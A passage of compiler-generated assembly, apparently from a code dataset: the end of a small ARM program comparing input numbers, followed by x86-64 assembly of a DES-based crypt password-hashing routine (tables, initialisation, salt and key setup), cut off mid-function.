mov r1, r3
ldr r0, .L12+8
bl __isoc99_scanf
sub r1, fp, #28
ldmia r1, {r0-r1}
sub r3, fp, #20
ldmia r3, {r2-r3}
bl __aeabi_dcmplt
mov r3, r0
cmp r3, #0
beq .L11
mov r0, #48
bl putchar
mov r3, #1
b .L8
.L11:
sub r3, fp, #20
ldmia r3, {r2-r3}
str r2, [fp, #-28]
str r3, [fp, #-24]
ldr r3, [fp, #-32]
add r3, r3, #1
str r3, [fp, #-32]
.L4:
ldr r3, [fp, #-36]
ldr r2, [fp, #-32]
cmp r2, r3
blt .L7
mov r0, #49
bl putchar
mov r3, #1
.L8:
ldr r2, .L12
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L9
bl __stack_chk_fail
.L9:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L13:
.align 2
.L12:
.word .LC2
.word .LC0
.word .LC1
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "109260.c"
.intel_syntax noprefix
.text
.data
.align 32
.type IP, @object
.size IP, 64
IP:
.ascii ":2*\"\032\022\n\002<4,$\034\024\f\004>6.&\036\026\016\006@80"
.ascii "( \030\020\b91)!\031\021\t\001;3+#\033\023\013\003=5-%\035\025"
.ascii "\r\005?7/'\037\027\017\007"
.local inv_key_perm
.comm inv_key_perm,64,32
.align 32
.type key_perm, @object
.size key_perm, 56
key_perm:
.ascii "91)!\031\021\t\001:2*\"\032\022\n\002;3+#\033\023\013\003<4,"
.ascii "$?7/'\037\027\017\007>6.&\036\026\016\006=5-%\035\025\r\005\034"
.ascii "\024\f\004"
.align 16
.type key_shifts, @object
.size key_shifts, 16
key_shifts:
.ascii "\001\001\002\002\002\002\002\002\001\002\002\002\002\002\002"
.ascii "\001"
.local inv_comp_perm
.comm inv_comp_perm,56,32
.align 32
.type comp_perm, @object
.size comp_perm, 48
comp_perm:
.ascii "\016\021\013\030\001\005\003\034\017\006\025\n\027\023\f\004"
.ascii "\032\b\020\007\033\024\r\002)4\037%/7\036(3-!0,1'8\"5.*2$\035"
.ascii " "
.local u_sbox
.comm u_sbox,512,32
.align 32
.type sbox, @object
.size sbox, 512
sbox:
.string "\016\004\r\001\002\017\013\b\003\n\006\f\005\t"
.string "\007"
.string "\017\007\004\016\002\r\001\n\006\f\013\t\005\003\b\004\001\016\b\r\006\002\013\017\f\t\007\003\n\005"
.string "\017\f\b\002\004\t\001\007\005\013\003\016\n"
.ascii "\006\r"
.string "\017\001\b\016\006\013\003\004\t\007\002\r\f"
.string "\005\n\003\r\004\007\017\002\b\016\f"
.string "\001\n\006\t\013\005"
.string "\016\007\013\n\004\r\001\005\b\f\006\t\003\002\017\r\b\n\001\003\017\004\002\013\006\007\f"
.ascii "\005\016\t"
.string "\n"
.string "\t\016\006\003\017\005\001\r\f\007\013\004\002\b\r\007"
.string "\t\003\004\006\n\002\b\005\016\f\013\017\001\r\006\004\t\b\017\003"
.string "\013\001\002\f\005\n\016\007\001\n\r"
.ascii "\006\t\b\007\004\017\016\003\013\005\002\f"
.string "\007\r\016\003"
.string "\006\t\n\001\002\b\005\013\f\004\017\r\b\013\005\006\017"
.string "\003\004\007\002\f\001\n\016\t\n\006\t"
.string "\f\013\007\r\017\001\003\016\005\002\b\004\003\017"
.ascii "\006\n\001\r\b\t\004\005\013\f\007\002\016"
.string "\002\f\004\001\007\n\013\006\b\005\003\017\r"
.string "\016\t\016\013\002\f\004\007\r\001\005"
.string "\017\n\003\t\b\006\004\002\001\013\n\r\007\b\017\t\f\005\006\003"
.string "\016\013\b\f\007\001\016\002\r\006\017"
.ascii "\t\n\004\005\003"
.string "\f\001\n\017\t\002\006\b"
.string "\r\003\004\016\007\005\013\n\017\004\002\007\f\t\005\006\001\r\016"
.string "\013\003\b\t\016\017\005\002\b\f\003\007"
.string "\004\n\001\r\013\006\004\003\002\f\t\005\017\n\013\016\001\007\006"
.ascii "\b\r"
.string "\004\013\002\016\017"
.string "\b\r\003\f\t\007\005\n\006\001\r"
.string "\013\007\004\t\001\n\016\003\005\f\002\017\b\006\001\004\013\r\f\003\007\016\n\017\006\b"
.string "\005\t\002\006\013\r\b\001\004\n\007\t\005"
.ascii "\017\016\002\003\f"
.string "\r\002\b\004\006\017\013\001\n\t\003\016\005"
.string "\f\007\001\017\r\b\n\003\007\004\f\005\006\013"
.string "\016\t\002\007\013\004\001\t\f\016\002"
.string "\006\n\r\017\003\005\b\002\001\016\007\004\n\b\r\017\f\t"
.ascii "\003\005\006\013"
.local un_pbox
.comm un_pbox,32,32
.align 32
.type pbox, @object
.size pbox, 32
pbox:
.ascii "\020\007\024\025\035\f\034\021\001\017\027\032\005\022\037\n"
.ascii "\002\b\030\016 \033\003\t\023\r\036\006\026\013\004\031"
.align 32
.type bits32, @object
.size bits32, 128
bits32:
.long -2147483648
.long 1073741824
.long 536870912
.long 268435456
.long 134217728
.long 67108864
.long 33554432
.long 16777216
.long 8388608
.long 4194304
.long 2097152
.long 1048576
.long 524288
.long 262144
.long 131072
.long 65536
.long 32768
.long 16384
.long 8192
.long 4096
.long 2048
.long 1024
.long 512
.long 256
.long 128
.long 64
.long 32
.long 16
.long 8
.long 4
.long 2
.long 1
.align 8
.type bits8, @object
.size bits8, 8
bits8:
.ascii "\200@ \020\b\004\002\001"
.local saltbits
.comm saltbits,4,4
.local old_salt
.comm old_salt,4,4
.local bits28
.comm bits28,8,8
.local bits24
.comm bits24,8,8
.local init_perm
.comm init_perm,64,32
.local final_perm
.comm final_perm,64,32
.local en_keysl
.comm en_keysl,64,32
.local en_keysr
.comm en_keysr,64,32
.local de_keysl
.comm de_keysl,64,32
.local de_keysr
.comm de_keysr,64,32
.local des_initialised
.comm des_initialised,4,4
.local m_sbox
.comm m_sbox,16384,32
.local psbox
.comm psbox,4096,32
.local ip_maskl
.comm ip_maskl,8192,32
.local ip_maskr
.comm ip_maskr,8192,32
.local fp_maskl
.comm fp_maskl,8192,32
.local fp_maskr
.comm fp_maskr,8192,32
.local key_perm_maskl
.comm key_perm_maskl,4096,32
.local key_perm_maskr
.comm key_perm_maskr,4096,32
.local comp_maskl
.comm comp_maskl,4096,32
.local comp_maskr
.comm comp_maskr,4096,32
.local old_rawkey0
.comm old_rawkey0,4,4
.local old_rawkey1
.comm old_rawkey1,4,4
.align 32
.type ascii64, @object
.size ascii64, 65
ascii64:
.string "./0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
.text
.type ascii_to_bin, @function
ascii_to_bin:
.LFB6:
.cfi_startproc
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov eax, edi
mov BYTE PTR -4[rbp], al
cmp BYTE PTR -4[rbp], 122
jle .L2
mov eax, 0
jmp .L3
.L2:
cmp BYTE PTR -4[rbp], 96
jle .L4
movsx eax, BYTE PTR -4[rbp]
sub eax, 59
jmp .L3
.L4:
cmp BYTE PTR -4[rbp], 90
jle .L5
mov eax, 0
jmp .L3
.L5:
cmp BYTE PTR -4[rbp], 64
jle .L6
movsx eax, BYTE PTR -4[rbp]
sub eax, 53
jmp .L3
.L6:
cmp BYTE PTR -4[rbp], 57
jle .L7
mov eax, 0
jmp .L3
.L7:
cmp BYTE PTR -4[rbp], 45
jle .L8
movsx eax, BYTE PTR -4[rbp]
sub eax, 46
jmp .L3
.L8:
mov eax, 0
.L3:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size ascii_to_bin, .-ascii_to_bin
.type des_init, @function
des_init:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR old_rawkey1[rip], 0
mov eax, DWORD PTR old_rawkey1[rip]
mov DWORD PTR old_rawkey0[rip], eax
mov DWORD PTR saltbits[rip], 0
mov DWORD PTR old_salt[rip], 0
lea rax, bits32[rip+16]
mov QWORD PTR bits28[rip], rax
mov rax, QWORD PTR bits28[rip]
add rax, 16
mov QWORD PTR bits24[rip], rax
mov DWORD PTR -64[rbp], 0
jmp .L10
.L13:
mov DWORD PTR -60[rbp], 0
jmp .L11
.L12:
mov eax, DWORD PTR -60[rbp]
and eax, 32
mov edx, eax
mov eax, DWORD PTR -60[rbp]
sal eax, 4
and eax, 16
or edx, eax
mov eax, DWORD PTR -60[rbp]
sar eax
and eax, 15
or eax, edx
mov DWORD PTR -56[rbp], eax
mov eax, DWORD PTR -56[rbp]
movsx rdx, eax
mov eax, DWORD PTR -64[rbp]
cdqe
sal rax, 6
add rdx, rax
lea rax, sbox[rip]
add rax, rdx
movzx eax, BYTE PTR [rax]
mov edx, DWORD PTR -60[rbp]
movsx rcx, edx
mov edx, DWORD PTR -64[rbp]
movsx rdx, edx
sal rdx, 6
add rcx, rdx
lea rdx, u_sbox[rip]
add rdx, rcx
mov BYTE PTR [rdx], al
add DWORD PTR -60[rbp], 1
.L11:
cmp DWORD PTR -60[rbp], 63
jle .L12
add DWORD PTR -64[rbp], 1
.L10:
cmp DWORD PTR -64[rbp], 7
jle .L13
mov DWORD PTR -56[rbp], 0
jmp .L14
.L19:
mov DWORD PTR -64[rbp], 0
jmp .L15
.L18:
mov DWORD PTR -60[rbp], 0
jmp .L16
.L17:
mov eax, DWORD PTR -56[rbp]
lea edx, [rax+rax]
mov eax, DWORD PTR -64[rbp]
movsx rcx, eax
movsx rax, edx
sal rax, 6
lea rdx, [rax+rcx]
lea rax, u_sbox[rip]
add rax, rdx
movzx eax, BYTE PTR [rax]
movzx eax, al
sal eax, 4
mov esi, eax
mov eax, DWORD PTR -56[rbp]
add eax, eax
lea edx, 1[rax]
mov eax, DWORD PTR -60[rbp]
movsx rcx, eax
movsx rax, edx
sal rax, 6
lea rdx, [rax+rcx]
lea rax, u_sbox[rip]
add rax, rdx
movzx eax, BYTE PTR [rax]
or esi, eax
mov edx, esi
mov eax, DWORD PTR -64[rbp]
sal eax, 6
or eax, DWORD PTR -60[rbp]
movsx rcx, eax
mov eax, DWORD PTR -56[rbp]
cdqe
sal rax, 12
add rcx, rax
lea rax, m_sbox[rip]
add rax, rcx
mov BYTE PTR [rax], dl
add DWORD PTR -60[rbp], 1
.L16:
cmp DWORD PTR -60[rbp], 63
jle .L17
add DWORD PTR -64[rbp], 1
.L15:
cmp DWORD PTR -64[rbp], 63
jle .L18
add DWORD PTR -56[rbp], 1
.L14:
cmp DWORD PTR -56[rbp], 3
jle .L19
mov DWORD PTR -64[rbp], 0
jmp .L20
.L21:
mov eax, DWORD PTR -64[rbp]
cdqe
lea rdx, IP[rip]
movzx eax, BYTE PTR [rax+rdx]
lea ecx, -1[rax]
mov eax, DWORD PTR -64[rbp]
cdqe
lea rdx, final_perm[rip]
mov BYTE PTR [rax+rdx], cl
mov eax, DWORD PTR -64[rbp]
cdqe
lea rdx, final_perm[rip]
movzx eax, BYTE PTR [rax+rdx]
movzx eax, al
mov edx, DWORD PTR -64[rbp]
mov ecx, edx
cdqe
lea rdx, init_perm[rip]
mov BYTE PTR [rax+rdx], cl
mov eax, DWORD PTR -64[rbp]
cdqe
lea rdx, inv_key_perm[rip]
mov BYTE PTR [rax+rdx], -1
add DWORD PTR -64[rbp], 1
.L20:
cmp DWORD PTR -64[rbp], 63
jle .L21
mov DWORD PTR -64[rbp], 0
jmp .L22
.L23:
mov eax, DWORD PTR -64[rbp]
cdqe
lea rdx, key_perm[rip]
movzx eax, BYTE PTR [rax+rdx]
movzx eax, al
sub eax, 1
mov edx, DWORD PTR -64[rbp]
mov ecx, edx
cdqe
lea rdx, inv_key_perm[rip]
mov BYTE PTR [rax+rdx], cl
mov eax, DWORD PTR -64[rbp]
cdqe
lea rdx, inv_comp_perm[rip]
mov BYTE PTR [rax+rdx], -1
add DWORD PTR -64[rbp], 1
.L22:
cmp DWORD PTR -64[rbp], 55
jle .L23
mov DWORD PTR -64[rbp], 0
jmp .L24
.L25:
mov eax, DWORD PTR -64[rbp]
cdqe
lea rdx, comp_perm[rip]
movzx eax, BYTE PTR [rax+rdx]
movzx eax, al
sub eax, 1
mov edx, DWORD PTR -64[rbp]
mov ecx, edx
cdqe
lea rdx, inv_comp_perm[rip]
mov BYTE PTR [rax+rdx], cl
add DWORD PTR -64[rbp], 1
.L24:
cmp DWORD PTR -64[rbp], 47
jle .L25
mov DWORD PTR -52[rbp], 0
jmp .L26
.L47:
mov DWORD PTR -64[rbp], 0
jmp .L27
.L34:
mov eax, DWORD PTR -64[rbp]
movsx rdx, eax
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 8
add rax, rdx
lea rdx, 0[0+rax*4]
lea rax, ip_maskl[rip]
add rax, rdx
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -32[rbp]
mov DWORD PTR [rax], 0
mov eax, DWORD PTR -64[rbp]
movsx rdx, eax
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 8
add rax, rdx
lea rdx, 0[0+rax*4]
lea rax, ip_maskr[rip]
add rax, rdx
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR [rax], 0
mov eax, DWORD PTR -64[rbp]
movsx rdx, eax
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 8
add rax, rdx
lea rdx, 0[0+rax*4]
lea rax, fp_maskl[rip]
add rax, rdx
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], 0
mov eax, DWORD PTR -64[rbp]
movsx rdx, eax
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 8
add rax, rdx
lea rdx, 0[0+rax*4]
lea rax, fp_maskr[rip]
add rax, rdx
mov QWORD PTR -8[rbp], rax
mov rax, QWORD PTR -8[rbp]
mov DWORD PTR [rax], 0
mov DWORD PTR -60[rbp], 0
jmp .L28
.L33:
mov eax, DWORD PTR -52[rbp]
lea edx, 0[0+rax*8]
mov eax, DWORD PTR -60[rbp]
add eax, edx
mov DWORD PTR -48[rbp], eax
mov eax, DWORD PTR -60[rbp]
cdqe
lea rdx, bits8[rip]
movzx eax, BYTE PTR [rax+rdx]
movzx eax, al
and eax, DWORD PTR -64[rbp]
test eax, eax
je .L29
mov eax, DWORD PTR -48[rbp]
cdqe
lea rdx, init_perm[rip]
movzx eax, BYTE PTR [rax+rdx]
movzx eax, al
mov DWORD PTR -44[rbp], eax
cmp DWORD PTR -44[rbp], 31
jg .L30
mov rax, QWORD PTR -32[rbp]
mov ecx, DWORD PTR [rax]
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, bits32[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov edx, ecx
mov rax, QWORD PTR -32[rbp]
mov DWORD PTR [rax], edx
jmp .L31
.L30:
mov rax, QWORD PTR -24[rbp]
mov ecx, DWORD PTR [rax]
mov eax, DWORD PTR -44[rbp]
sub eax, 32
cdqe
lea rdx, 0[0+rax*4]
lea rax, bits32[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov edx, ecx
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR [rax], edx
.L31:
mov eax, DWORD PTR -48[rbp]
cdqe
lea rdx, final_perm[rip]
movzx eax, BYTE PTR [rax+rdx]
movzx eax, al
mov DWORD PTR -44[rbp], eax
cmp DWORD PTR -44[rbp], 31
jg .L32
mov rax, QWORD PTR -16[rbp]
mov ecx, DWORD PTR [rax]
mov eax, DWORD PTR -44[rbp]
cdqe
lea rdx, 0[0+rax*4]
lea rax, bits32[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov edx, ecx
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], edx
jmp .L29
.L32:
mov rax, QWORD PTR -8[rbp]
mov ecx, DWORD PTR [rax]
mov eax, DWORD PTR -44[rbp]
sub eax, 32
cdqe
lea rdx, 0[0+rax*4]
lea rax, bits32[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov edx, ecx
mov rax, QWORD PTR -8[rbp]
mov DWORD PTR [rax], edx
.L29:
add DWORD PTR -60[rbp], 1
.L28:
cmp DWORD PTR -60[rbp], 7
jle .L33
add DWORD PTR -64[rbp], 1
.L27:
cmp DWORD PTR -64[rbp], 255
jle .L34
mov DWORD PTR -64[rbp], 0
jmp .L35
.L46:
mov eax, DWORD PTR -64[rbp]
movsx rdx, eax
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 7
add rax, rdx
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskl[rip]
add rax, rdx
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -32[rbp]
mov DWORD PTR [rax], 0
mov eax, DWORD PTR -64[rbp]
movsx rdx, eax
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 7
add rax, rdx
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskr[rip]
add rax, rdx
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR [rax], 0
mov DWORD PTR -60[rbp], 0
jmp .L36
.L40:
mov eax, DWORD PTR -52[rbp]
lea edx, 0[0+rax*8]
mov eax, DWORD PTR -60[rbp]
add eax, edx
mov DWORD PTR -48[rbp], eax
mov eax, DWORD PTR -60[rbp]
add eax, 1
cdqe
lea rdx, bits8[rip]
movzx eax, BYTE PTR [rax+rdx]
movzx eax, al
and eax, DWORD PTR -64[rbp]
test eax, eax
je .L37
mov eax, DWORD PTR -48[rbp]
cdqe
lea rdx, inv_key_perm[rip]
movzx eax, BYTE PTR [rax+rdx]
movzx eax, al
mov DWORD PTR -44[rbp], eax
cmp DWORD PTR -44[rbp], 255
je .L57
cmp DWORD PTR -44[rbp], 27
jg .L39
mov rax, QWORD PTR -32[rbp]
mov edx, DWORD PTR [rax]
mov rcx, QWORD PTR bits28[rip]
mov eax, DWORD PTR -44[rbp]
cdqe
sal rax, 2
add rax, rcx
mov eax, DWORD PTR [rax]
or edx, eax
mov rax, QWORD PTR -32[rbp]
mov DWORD PTR [rax], edx
jmp .L37
.L39:
mov rax, QWORD PTR -24[rbp]
mov edx, DWORD PTR [rax]
mov rcx, QWORD PTR bits28[rip]
mov eax, DWORD PTR -44[rbp]
cdqe
sal rax, 2
sub rax, 112
add rax, rcx
mov eax, DWORD PTR [rax]
or edx, eax
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR [rax], edx
jmp .L37
.L57:
nop
.L37:
add DWORD PTR -60[rbp], 1
.L36:
cmp DWORD PTR -60[rbp], 6
jle .L40
mov eax, DWORD PTR -64[rbp]
movsx rdx, eax
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 7
add rax, rdx
lea rdx, 0[0+rax*4]
lea rax, comp_maskl[rip]
add rax, rdx
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR -32[rbp]
mov DWORD PTR [rax], 0
mov eax, DWORD PTR -64[rbp]
movsx rdx, eax
mov eax, DWORD PTR -52[rbp]
cdqe
sal rax, 7
add rax, rdx
lea rdx, 0[0+rax*4]
lea rax, comp_maskr[rip]
add rax, rdx
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR [rax], 0
mov DWORD PTR -60[rbp], 0
jmp .L41
.L45:
mov edx, DWORD PTR -52[rbp]
mov eax, edx
sal eax, 3
sub eax, edx
mov ecx, eax
mov eax, DWORD PTR -60[rbp]
add eax, ecx
mov DWORD PTR -48[rbp], eax
mov eax, DWORD PTR -60[rbp]
add eax, 1
cdqe
lea rdx, bits8[rip]
movzx eax, BYTE PTR [rax+rdx]
movzx eax, al
and eax, DWORD PTR -64[rbp]
test eax, eax
je .L42
mov eax, DWORD PTR -48[rbp]
cdqe
lea rdx, inv_comp_perm[rip]
movzx eax, BYTE PTR [rax+rdx]
movzx eax, al
mov DWORD PTR -44[rbp], eax
cmp DWORD PTR -44[rbp], 255
je .L58
cmp DWORD PTR -44[rbp], 23
jg .L44
mov rax, QWORD PTR -32[rbp]
mov edx, DWORD PTR [rax]
mov rcx, QWORD PTR bits24[rip]
mov eax, DWORD PTR -44[rbp]
cdqe
sal rax, 2
add rax, rcx
mov eax, DWORD PTR [rax]
or edx, eax
mov rax, QWORD PTR -32[rbp]
mov DWORD PTR [rax], edx
jmp .L42
.L44:
mov rax, QWORD PTR -24[rbp]
mov edx, DWORD PTR [rax]
mov rcx, QWORD PTR bits24[rip]
mov eax, DWORD PTR -44[rbp]
cdqe
sal rax, 2
sub rax, 96
add rax, rcx
mov eax, DWORD PTR [rax]
or edx, eax
mov rax, QWORD PTR -24[rbp]
mov DWORD PTR [rax], edx
jmp .L42
.L58:
nop
.L42:
add DWORD PTR -60[rbp], 1
.L41:
cmp DWORD PTR -60[rbp], 6
jle .L45
add DWORD PTR -64[rbp], 1
.L35:
cmp DWORD PTR -64[rbp], 127
jle .L46
add DWORD PTR -52[rbp], 1
.L26:
cmp DWORD PTR -52[rbp], 7
jle .L47
mov DWORD PTR -64[rbp], 0
jmp .L48
.L49:
mov eax, DWORD PTR -64[rbp]
cdqe
lea rdx, pbox[rip]
movzx eax, BYTE PTR [rax+rdx]
movzx eax, al
sub eax, 1
mov edx, DWORD PTR -64[rbp]
mov ecx, edx
cdqe
lea rdx, un_pbox[rip]
mov BYTE PTR [rax+rdx], cl
add DWORD PTR -64[rbp], 1
.L48:
cmp DWORD PTR -64[rbp], 31
jle .L49
mov DWORD PTR -56[rbp], 0
jmp .L50
.L56:
mov DWORD PTR -64[rbp], 0
jmp .L51
.L55:
mov eax, DWORD PTR -64[rbp]
movsx rdx, eax
mov eax, DWORD PTR -56[rbp]
cdqe
sal rax, 8
add rax, rdx
lea rdx, 0[0+rax*4]
lea rax, psbox[rip]
add rax, rdx
mov QWORD PTR -40[rbp], rax
mov rax, QWORD PTR -40[rbp]
mov DWORD PTR [rax], 0
mov DWORD PTR -60[rbp], 0
jmp .L52
.L54:
mov eax, DWORD PTR -60[rbp]
cdqe
lea rdx, bits8[rip]
movzx eax, BYTE PTR [rax+rdx]
movzx eax, al
and eax, DWORD PTR -64[rbp]
test eax, eax
je .L53
mov rax, QWORD PTR -40[rbp]
mov ecx, DWORD PTR [rax]
mov eax, DWORD PTR -56[rbp]
lea edx, 0[0+rax*8]
mov eax, DWORD PTR -60[rbp]
add eax, edx
cdqe
lea rdx, un_pbox[rip]
movzx eax, BYTE PTR [rax+rdx]
movzx eax, al
cdqe
lea rdx, 0[0+rax*4]
lea rax, bits32[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov edx, ecx
mov rax, QWORD PTR -40[rbp]
mov DWORD PTR [rax], edx
.L53:
add DWORD PTR -60[rbp], 1
.L52:
cmp DWORD PTR -60[rbp], 7
jle .L54
add DWORD PTR -64[rbp], 1
.L51:
cmp DWORD PTR -64[rbp], 255
jle .L55
add DWORD PTR -56[rbp], 1
.L50:
cmp DWORD PTR -56[rbp], 3
jle .L56
mov DWORD PTR des_initialised[rip], 1
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE7:
.size des_init, .-des_init
.type setup_salt, @function
setup_salt:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov eax, DWORD PTR old_salt[rip]
cmp DWORD PTR -20[rbp], eax
je .L65
mov eax, DWORD PTR -20[rbp]
mov DWORD PTR old_salt[rip], eax
mov DWORD PTR saltbits[rip], 0
mov DWORD PTR -8[rbp], 1
mov DWORD PTR -12[rbp], 8388608
mov DWORD PTR -4[rbp], 0
jmp .L62
.L64:
mov eax, DWORD PTR -20[rbp]
and eax, DWORD PTR -8[rbp]
test eax, eax
je .L63
mov eax, DWORD PTR saltbits[rip]
or eax, DWORD PTR -12[rbp]
mov DWORD PTR saltbits[rip], eax
.L63:
sal DWORD PTR -8[rbp]
shr DWORD PTR -12[rbp]
add DWORD PTR -4[rbp], 1
.L62:
cmp DWORD PTR -4[rbp], 23
jle .L64
jmp .L59
.L65:
nop
.L59:
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE8:
.size setup_salt, .-setup_salt
.type des_setkey, @function
des_setkey:
.LFB9:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -40[rbp], rdi
mov eax, DWORD PTR des_initialised[rip]
test eax, eax
jne .L67
mov eax, 0
call des_init
.L67:
mov rax, QWORD PTR -40[rbp]
mov eax, DWORD PTR [rax]
mov edi, eax
mov eax, 0
call md_ntohl@PLT
mov DWORD PTR -24[rbp], eax
mov rax, QWORD PTR -40[rbp]
add rax, 4
mov eax, DWORD PTR [rax]
mov edi, eax
mov eax, 0
call md_ntohl@PLT
mov DWORD PTR -20[rbp], eax
mov eax, DWORD PTR -24[rbp]
or eax, DWORD PTR -20[rbp]
test eax, eax
je .L68
mov eax, DWORD PTR old_rawkey0[rip]
cmp DWORD PTR -24[rbp], eax
jne .L68
mov eax, DWORD PTR old_rawkey1[rip]
cmp DWORD PTR -20[rbp], eax
jne .L68
mov eax, 0
jmp .L69
.L68:
mov eax, DWORD PTR -24[rbp]
mov DWORD PTR old_rawkey0[rip], eax
mov eax, DWORD PTR -20[rbp]
mov DWORD PTR old_rawkey1[rip], eax
mov eax, DWORD PTR -24[rbp]
shr eax, 25
mov eax, eax
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskl[rip]
mov ecx, DWORD PTR [rdx+rax]
mov eax, DWORD PTR -24[rbp]
shr eax, 17
and eax, 127
mov eax, eax
sub rax, -128
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -24[rbp]
shr eax, 9
and eax, 127
mov eax, eax
add rax, 256
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -24[rbp]
shr eax
and eax, 127
mov eax, eax
add rax, 384
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -20[rbp]
shr eax, 25
mov eax, eax
add rax, 512
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -20[rbp]
shr eax, 17
and eax, 127
mov eax, eax
add rax, 640
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -20[rbp]
shr eax, 9
and eax, 127
mov eax, eax
add rax, 768
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -20[rbp]
shr eax
and eax, 127
mov eax, eax
add rax, 896
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskl[rip]
mov eax, DWORD PTR [rdx+rax]
or eax, ecx
mov DWORD PTR -16[rbp], eax
mov eax, DWORD PTR -24[rbp]
shr eax, 25
mov eax, eax
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskr[rip]
mov ecx, DWORD PTR [rdx+rax]
mov eax, DWORD PTR -24[rbp]
shr eax, 17
and eax, 127
mov eax, eax
sub rax, -128
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -24[rbp]
shr eax, 9
and eax, 127
mov eax, eax
add rax, 256
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -24[rbp]
shr eax
and eax, 127
mov eax, eax
add rax, 384
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -20[rbp]
shr eax, 25
mov eax, eax
add rax, 512
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -20[rbp]
shr eax, 17
and eax, 127
mov eax, eax
add rax, 640
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -20[rbp]
shr eax, 9
and eax, 127
mov eax, eax
add rax, 768
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or ecx, eax
mov eax, DWORD PTR -20[rbp]
shr eax
and eax, 127
mov eax, eax
add rax, 896
lea rdx, 0[0+rax*4]
lea rax, key_perm_maskr[rip]
mov eax, DWORD PTR [rdx+rax]
or eax, ecx
mov DWORD PTR -12[rbp], eax
mov DWORD PTR -32[rbp], 0
mov DWORD PTR -28[rbp], 0
jmp .L70
.L71:
mov eax, DWORD PTR -28[rbp]
cdqe
lea rdx, key_shifts[rip]
movzx eax, BYTE PTR [rax+rdx]
movzx eax, al
add DWORD PTR -32[rbp], eax
mov eax, DWORD PTR -32[rbp]
mov edx, DWORD PTR -16[rbp]
mov esi, edx
mov ecx, eax
sal esi, cl
mov eax, 28
sub eax, DWORD PTR -32[rbp]
mov edx, DWORD PTR -16[rbp]
mov ecx, eax
shr edx, cl
mov eax, edx
or eax, esi
